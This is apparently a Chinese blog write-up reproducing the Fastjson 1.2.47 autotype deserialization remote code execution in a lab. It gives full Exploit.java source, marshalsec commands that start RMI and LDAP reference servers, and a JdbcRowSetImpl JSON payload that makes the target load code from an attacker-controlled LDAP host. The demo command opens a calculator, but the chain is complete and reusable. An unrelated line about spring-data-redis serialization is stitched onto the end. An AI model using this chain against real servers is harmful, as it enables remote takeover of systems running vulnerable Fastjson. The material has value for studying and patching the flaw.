80337960 2020-06-10
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
漏洞利用如下:

Fastjson1.2.47以及之前的版本
1、攻击机
IP地址:192.168.214.1
操作系统:windows10
利用工具:火狐游览器、Burp Suite
2、VPS服务器
IP地址:192.168.214.137
操作系统:centos7.4
相关应用:tomcat8,jdk8u181
开启端口:8080
利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar
3、靶机
IP地址:192.168.214.138
操作系统:windows server 2008 r2 standard
相关应用:tomcat7,jdk8u181
开启端口:8080
攻击思路:攻击机利用burpsuite构造playload,通过访问vps服务器攻击靶机,进行命令执行。
复现漏洞注意:jdk不能高于如下版本,VPS和靶机的jdk版本保持一致最佳

反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。RMI是一种行为,指的是Java远程方法调用。
ldap指轻量级目录访问协议。具体可参考https://xz.aliyun.com/t/7079
Rmi与ldap存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
1、将含有fastjson-1.2.47.jar的demo压缩包解压,布置在靶机的webapps目录下,开启tomcat服务,浏览器能够正常进行访问

攻击机能够正常访问靶机的demo。

2、将marshalsec-0.0.3-SNAPSHOT-all.jar 和编译好的Exploit.class上传到VPS服务器的网站根目录下

使用浏览器可以进行访问或者下载,

Exploit.java构造的执行命令内容如下:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});//执行命令打开计算器程序
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}然后在VPS服务器上可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999 2 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
这里我使用的是LDAP服务,毕竟覆盖的jdk版本范围更广,更容易复现漏洞,在网站根目录下使用marshalsec-0.0.3-SNAPSHOT-all.jar工具开启LDAP。

3、攻击机上使用火狐游览器访问靶机的demo服务,使用burpsuite截包,构造playload重发包
Playload构造如下:

{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.214.137:9999/Exploit",
"autoCommit": true
}
}4、执行结果
VPS显示已连接,执行了Expolit.class,

攻击机通过fastjson漏洞执行命令,打开了靶机的计算器。

spring-data-redis RedisTemplate 操作redis时发现存储在redis中的key不是设置的string值,前面还多出了许多类似\xac\xed\x00\x05t\x00;